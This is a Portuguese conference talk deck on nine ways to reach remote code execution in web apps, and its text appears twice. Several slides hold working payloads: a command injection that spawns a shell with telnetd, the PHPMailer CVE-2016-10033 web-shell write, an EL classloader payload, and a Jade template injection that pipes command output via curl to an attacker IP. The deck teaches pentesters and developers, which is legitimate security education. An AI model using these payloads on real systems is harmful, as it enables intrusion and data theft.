O MAIOR EVENTO DE HACKING, SEGURANÇA E
TECNOLOGIA DO BRASIL DO CONTINENTE
1001 Execuções de Código
Remoto
Manoel Abreu
9 Execuções de Código
Remoto
Manoel Abreu
Quem?
● Segurança como trabalho
○ Professor
○ Desenvolvedor
● Segurança como hobby
○ CTF - Jogador do ELT
○ Bug Bounty
4
Prove
5
Profit
6
Público alvo
● Pentesters
● Desenvolvedores
● Jogadores de CTF
● Você
7
Objetivo
● Conhecer as formas de obter um RCE
em sistemas Web
● Para cada, dos 9:
○ Breve resumo da falha
○ Como explorar para o RCE (Direta
ou Indiretamente)?
○ Como ALGUÉM explorou?
8
O que é?
● Capacidade do atacante executar
código na servidor da aplicação
[Web] através de uma entrada do
sistema.
9
A partir de __ para o RCE
● OS Command Injection
● XML eXternal Entity Injection
● Expression Language Injection
● Object Deserialization
● SQL Injection
● Server Side Request Forgery
● Server Side Template Injection
● Cross-Site Scripting
● Cross-Site Request Forgery
10
Como comprovar um RCE?
● Forjar requisições
○ CURL
○ WGET
● Sleep
● ICMP
● DNS
11
OS Command Injection -> RCE
12
0001
OS Command Injection
● O sistema utiliza a entrada do
usuário como parâmetro para a
execução de um binário do SO
Exemplo:
system(‘ping ’. $ip);
13
OS Command Injection
● Deteção
○ Funcionalidade baseada em
execução de algum binário
○ Provável que o input será
passado como argumento
14
OS Command Injection ->
RCE
● Exploração
○ Encadeamento
■ ; | `` $()
Exemplo: 127.0.0.1; ls -la
127.0.0.1 `wget ...`
127.0.0.1 | nc
15
OS Command Injection
● RCE na configuração do FTP
set_ftp.cgi?next_url=ftp.htm&loginuse=admin&l
oginpas=admin&svr=192.168.1.1&port=21&user=ftp&
pwd=$(telnetd -p25 -l/bin/sh)
&dir=/&mode=PORT&upload_interval=0
16
OS Command Injection
● Exemplo (Param Injection)
○ CVE-2016-10033 - PHPMailer
"Attacker " -Param2 -Param3"@test.com
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
17
OS Command Injection
$email_from = '"attacker" -oQ/tmp/
-X/var/www/cache/phpcode.php some"@email.com';
$msg_body = "<?php @eval($_GET[‘x’]); ?>";
Vai escrever o transfer log (-X) para
/var/www/cache/phpcode.php
18
XXE -> X -> RCE
19
0010
XXE
● Detecção
○ Aplicação tem como entrada
arquivos XML e faz algum parser
○ Valida e processa DTD (document type definition)
○ API / Webservice (SOAP)
20
XXE -> RCE
● Exploração
○ Criação de uma entidade externa
(EE) que acessa recursos/serviços
locais (host) (Mapeamento/leak)
○ PHP: Raro, mas possível uso do
expect://<cmd>
21
XXE -> RCE
● Exploração
○ Java: técnica do @ecbftw usando
jar://download (Java descompacta)
■ Força o download
■ Mantém a conexão aberta ao servir o
arquivo
■ Encontra o arquivo e instancia no
tomcat
22
XXE
● Exemplo
○ “How I hacked Pornhub for fun and
profit - 10,000$”
○ Usou XXE para extrair o fonte e
identificar novas vulnerabilidades
no código (Object Injection)
https://5haked.blogspot.com.br/
23
Expression Language
Injection -> RCE
24
0011
Expression Language
• Parte do JSTL (Java Server Pages Standard Tag Library)
• (View) -> (Bean)
• Permite o uso de simples
expressões para:
– Dinamicamente ler dados da app
– Dinamicamente escrever dados
– Chamar métodos arbitrários
25
Expression Language
<c:out value=”person.address.street”/>
● Ocorre quando a entrada do usuário é
executada pelo interpretador de EL
26
EL Injection
● Exploração
○ java.lang.Runtime
○ Reflection
■ .getClass().forName(‘’)
■ .getDeclaredMethods()[].invoke()
27
EL Injection -> RCE
● Exploração
○ Salva URL na sessão. URLClassLoader
○ ${pageContext.getClass().getClassLoader().
getParent().newInstance(pageContext.reques
t.getSession().getAttribute("arr").toArray
(pageContext.getClass().getClassLoader().g
etParent().getURLs())).loadClass("Maliciou
s").newInstance()}
http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/
28
EL Injection
● Exemplo
○ Primefaces 5.x
■ dynamiccontent.properties.xhtml
■ Padrão NetBeans (Versão Atual!)
http://blog.mindedsecurity.com/2016/02/rce-in-oracle-netbeans-opensource.html
29
Object Deserialization -> RCE
30
0100
Object Deserialization
● Java, PHP, Ruby, Python ....
● Java serializa o objeto em um
stream de bytes (Binário)
● ac ed
● rO0
● H4sI (gzipped)
31
Object Deserialization
● Exploração (Java)
○ ObjectInputStream não inclui processo de
validação na sua API
○ Todas as classes que estão no classloader
podem ser utilizadas e desserializadas
○ Embora ocorra uma Class Cast Exception o
objeto ainda assim é criado
32
Object Deserialization
● Exploração (Java)
○ Agravou com o CVE-2015-7501 (ysoserial)
○ CommonsCollection -> Runtime.exec()
https://github.com/frohoff/ysoserial - http://frohoff.github.io/appseccali-marshalling-pickles/
33
Object Deserialization
● Exemplo
○ JSF
○ Richfaces 3.3.3 (CVE-2013-2165)
○ Log4J (CVE-2017-5645) (pimps)
○ JBoss, Jekins - jexboss
https://github.com/joaomatosf/jexboss
34
SQL Injection -> RCE
35
0101
SQL Injection
● Essa todo mundo já sabe…
● Se não sabe: falha que permite ao
atacante executar códigos SQL
através de parâmetros inseridos na
query
36
SQL Injection -> RCE
● Além dos já conhecidos métodos…
● E se for uma aplicação Ruby?
○ serialized YAML ou ERB no banco
○ LOAD_FILE secrets.yml. RCE com
Cookies
○ atualizar rake tasks
https://twitter.com/jobertabma/status/870077024454311936
37
SSRF -> RCE
38
0110
SSRF
● Permite um atacante fazer
requisições a partir do servidor
alvo
● Posição similar ao XXE,
possibilita mapear e vazar
informações
39
SSRF -> RCE
● A exploração para o RCE acontece
por meio da identificação de outra
vulnerabilidade no sistema local
40
SSRF -> RCE
● Exemplo:
○ Identificou a presença de um
Hashicorp Consul Agent na mesma
máquina
○ Forjou uma requisição PUT com
rn para subir um Agent (Carriage-Return,
Line-Feed)
http://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html (29/Maio/17)
41
Server Side Template Injection
-> RCE
42
0111
SSTI
● Proposta similar ao EL (Conteúdo
dinâmico)
● Falha ocorre ao inserir entrada
maliciosa do atacante no template
● Jinja2 / Flask / Jade / FreeMarker
/ Velocity / Twig
43
SSTI
http://blog.portswigger.net/2015/08/server-side-template-injection.html
44
SSTI
$output = $twig->render("
Dear {first_name} , ", array("first_name" =>
$user.first_name) );
$output = $twig->render( $_GET['custom_email']
, array("first_name" => $user.first_name) );
https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf
45
SSTI
● Exemplo:
○ Jade:
/render/root.process.mainModule.require('c
hild_process').exec('ls -la | curl -F
”:data=@-” IP:Porta')
46
SSTI
● Exemplo:
○ Uber (Orange Tsai): $10,000
■ Jinj2
■ E-mail com SSTI no nome do perfil
■ {{7*7}} … 49
47
Cross-site scripting -> X
-> RCE
48
1000
Cross-site scripting
● Falha ocorre quando atacante
consegue inserir código js
(geralmente) no contexto da
aplicação
● Reflected
● Stored
● DOM
49
XSS -> RCE
● Teórica:
○ Roubo do Cookie
○ Exploração aproveita uma das
outras falhas vistas
anteriormente para RCE
50
Cross-Site Request Forgery
-> RCE
51
1001
CSRF
Como eu já sabia que não ia dar tempo:
ssd
https://youtu.be/iMdMtbKmvzc
Final do H4ck4fl4g 2016
52
#dontstophacking
twitter: @reefbr
facebook: /manoelt
youtube: Manoel Abreu
Curso Seg. Web: www.desec.com.br (breve)
Obrigado!
#dontstophacking
twitter: @reefbr
facebook: /manoelt
youtube: Manoel Abreu
Curso Seg. Web: www.desec.com.br (breve)

1001 Execuções de Código Remoto

  • 1.
    O MAIOR EVENTODE HACKING, SEGURANÇA E TECNOLOGIA DO BRASIL DO CONTINENTE
  • 2.
    1001 Execuções deCódigo Remoto Manoel Abreu
  • 3.
    9 Execuções deCódigo Remoto Manoel Abreu
  • 4.
    Quem? ● Segurança comotrabalho ○ Professor ○ Desenvolvedor ● Segurança como hobby ○ CTF - Jogador do ELT ○ Bug Bounty 4
  • 5.
  • 6.
  • 7.
    Público alvo ● Pentesters ●Desenvolvedores ● Jogadores de CTF ● Você 7
  • 8.
    Objetivo ● Conhecer asformas de obter um RCE em sistemas Web ● Para cada, dos 9: ○ Breve resumo da falha ○ Como explorar para o RCE (Direta ou Indiretamente)? ○ Como ALGUÉM explorou? 8
  • 9.
    O que é? ●Capacidade do atacante executar código na servidor da aplicação [Web] através de uma entrada do sistema. 9
  • 10.
    A partir de__ para o RCE ● OS Command Injection ● XML eXternal Entity Injection ● Expression Language Injection ● Object Deserialization ● SQL Injection ● Server Side Request Forgery ● Server Side Template Injection ● Cross-Site Scripting ● Cross-Site Request Forgery 10
  • 11.
    Como comprovar umRCE? ● Forjar requisições ○ CURL ○ WGET ● Sleep ● ICMP ● DNS 11
  • 12.
    OS Command Injection-> RCE 12 0001
  • 13.
    OS Command Injection ●O sistema utiliza a entrada do usuário como parâmetro para a execução de um binário do SO Exemplo: system(‘ping ’. $ip); 13
  • 14.
    OS Command Injection ●Deteção ○ Funcionalidade baseada em execução de algum binário ○ Provável que o input será passado como argumento 14
  • 15.
    OS Command Injection-> RCE ● Exploração ○ Encadeamento ■ ; | `` $() Exemplo: 127.0.0.1; ls -la 127.0.0.1 `wget ...` 127.0.0.1 | nc 15
  • 16.
    OS Command Injection ●RCE na configuração do FTP set_ftp.cgi?next_url=ftp.htm&loginuse=admin&l oginpas=admin&svr=192.168.1.1&port=21&user=ftp& pwd=$(telnetd -p25 -l/bin/sh) &dir=/&mode=PORT&upload_interval=0 16
  • 17.
    OS Command Injection ●Exemplo (Param Injection) ○ CVE-2016-10033 - PHPMailer "Attacker " -Param2 -Param3"@test.com https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html 17
  • 18.
    OS Command Injection $email_from= '"attacker" -oQ/tmp/ -X/var/www/cache/phpcode.php some"@email.com'; $msg_body = "<?php @eval($_GET[‘x’]); ?>"; Vai escrever o transfer log (-X) para /var/www/cache/phpcode.php 18
  • 19.
    XXE -> X-> RCE 19 0010
  • 20.
    XXE ● Detecção ○ Aplicaçãotem como entrada arquivos XML e faz algum parser ○ Valida e processa DTD (document type definition) ○ API / Webservice (SOAP) 20
  • 21.
    XXE -> RCE ●Exploração ○ Criação de uma entidade externa (EE) que acessa recursos/serviços locais (host) (Mapeamento/leak) ○ PHP: Raro, mas possível uso do expect://<cmd> 21
  • 22.
    XXE -> RCE ●Exploração ○ Java: técnica do @ecbftw usando jar://download (Java descompacta) ■ Força o download ■ Mantém a conexão aberta ao servir o arquivo ■ Encontra o arquivo e instancia no tomcat 22
  • 23.
    XXE ● Exemplo ○ “HowI hacked Pornhub for fun and profit - 10,000$” ○ Usou XXE para extrair o fonte e identificar novas vulnerabilidades no código (Object Injection) https://5haked.blogspot.com.br/ 23
  • 24.
  • 25.
    Expression Language • Partedo JSTL (Java Server Pages Standard Tag Library) • (View) -> (Bean) • Permite o uso de simples expressões para: – Dinamicamente ler dados da app – Dinamicamente escrever dados – Chamar métodos arbitrários 25
  • 26.
    Expression Language <c:out value=”person.address.street”/> ●Ocorre quando a entrada do usuário é executada pelo interpretador de EL 26
  • 27.
    EL Injection ● Exploração ○java.lang.Runtime ○ Reflection ■ .getClass().forName(‘’) ■ .getDeclaredMethods()[].invoke() 27
  • 28.
    EL Injection ->RCE ● Exploração ○ Salva URL na sessão. URLClassLoader ○ ${pageContext.getClass().getClassLoader(). getParent().newInstance(pageContext.reques t.getSession().getAttribute("arr").toArray (pageContext.getClass().getClassLoader().g etParent().getURLs())).loadClass("Maliciou s").newInstance()} http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/ 28
  • 29.
    EL Injection ● Exemplo ○Primefaces 5.x ■ dynamiccontent.properties.xhtml ■ Padrão NetBeans (Versão Atual!) http://blog.mindedsecurity.com/2016/02/rce-in-oracle-netbeans-opensource.html 29
  • 30.
  • 31.
    Object Deserialization ● Java,PHP, Ruby, Python .... ● Java serializa o objeto em um stream de bytes (Binário) ● ac ed ● rO0 ● H4sI (gzipped) 31
  • 32.
    Object Deserialization ● Exploração(Java) ○ ObjectInputStream não inclui processo de validação na sua API ○ Todas as classes que estão no classloader podem ser utilizadas e desserializadas ○ Embora ocorra uma Class Cast Exception o objeto ainda assim é criado 32
  • 33.
    Object Deserialization ● Exploração(Java) ○ Agravou com o CVE-2015-7501 (ysoserial) ○ CommonsCollection -> Runtime.exec() https://github.com/frohoff/ysoserial - http://frohoff.github.io/appseccali-marshalling-pickles/ 33
  • 34.
    Object Deserialization ● Exemplo ○JSF ○ Richfaces 3.3.3 (CVE-2013-2165) ○ Log4J (CVE-2017-5645) (pimps) ○ JBoss, Jekins - jexboss https://github.com/joaomatosf/jexboss 34
  • 35.
    SQL Injection ->RCE 35 0101
  • 36.
    SQL Injection ● Essatodo mundo já sabe… ● Se não sabe: falha que permite ao atacante executar códigos SQL através de parâmetros inseridos na query 36
  • 37.
    SQL Injection ->RCE ● Além dos já conhecidos métodos… ● E se for uma aplicação Ruby? ○ serialized YAML ou ERB no banco ○ LOAD_FILE secrets.yml. RCE com Cookies ○ atualizar rake tasks https://twitter.com/jobertabma/status/870077024454311936 37
  • 38.
  • 39.
    SSRF ● Permite umatacante fazer requisições a partir do servidor alvo ● Posição similar ao XXE, possibilita mapear e vazar informações 39
  • 40.
    SSRF -> RCE ●A exploração para o RCE acontece por meio da identificação de outra vulnerabilidade no sistema local 40
  • 41.
    SSRF -> RCE ●Exemplo: ○ Identificou a presença de um Hashicorp Consul Agent na mesma máquina ○ Forjou uma requisição PUT com rn para subir um Agent (Carriage-Return, Line-Feed) http://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html (29/Maio/17) 41
  • 42.
    Server Side TemplateInjection -> RCE 42 0111
  • 43.
    SSTI ● Proposta similarao EL (Conteúdo dinâmico) ● Falha ocorre ao inserir entrada maliciosa do atacante no template ● Jinja2 / Flask / Jade / FreeMarker / Velocity / Twig 43
  • 44.
  • 45.
    SSTI $output = $twig->render(" Dear{first_name} , ", array("first_name" => $user.first_name) ); $output = $twig->render( $_GET['custom_email'] , array("first_name" => $user.first_name) ); https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf 45
  • 46.
  • 47.
    SSTI ● Exemplo: ○ Uber(Orange Tsai): $10,000 ■ Jinj2 ■ E-mail com SSTI no nome do perfil ■ {{7*7}} … 49 47
  • 48.
    Cross-site scripting ->X -> RCE 48 1000
  • 49.
    Cross-site scripting ● Falhaocorre quando atacante consegue inserir código js (geralmente) no contexto da aplicação ● Reflected ● Stored ● DOM 49
  • 50.
    XSS -> RCE ●Teórica: ○ Roubo do Cookie ○ Exploração aproveita uma das outras falhas vistas anteriormente para RCE 50
  • 51.
  • 52.
    CSRF Como eu jásabia que não ia dar tempo: ssd https://youtu.be/iMdMtbKmvzc Final do H4ck4fl4g 2016 52
  • 53.
    #dontstophacking twitter: @reefbr facebook: /manoelt youtube:Manoel Abreu Curso Seg. Web: www.desec.com.br (breve)
  • 54.
    Obrigado! #dontstophacking twitter: @reefbr facebook: /manoelt youtube:Manoel Abreu Curso Seg. Web: www.desec.com.br (breve)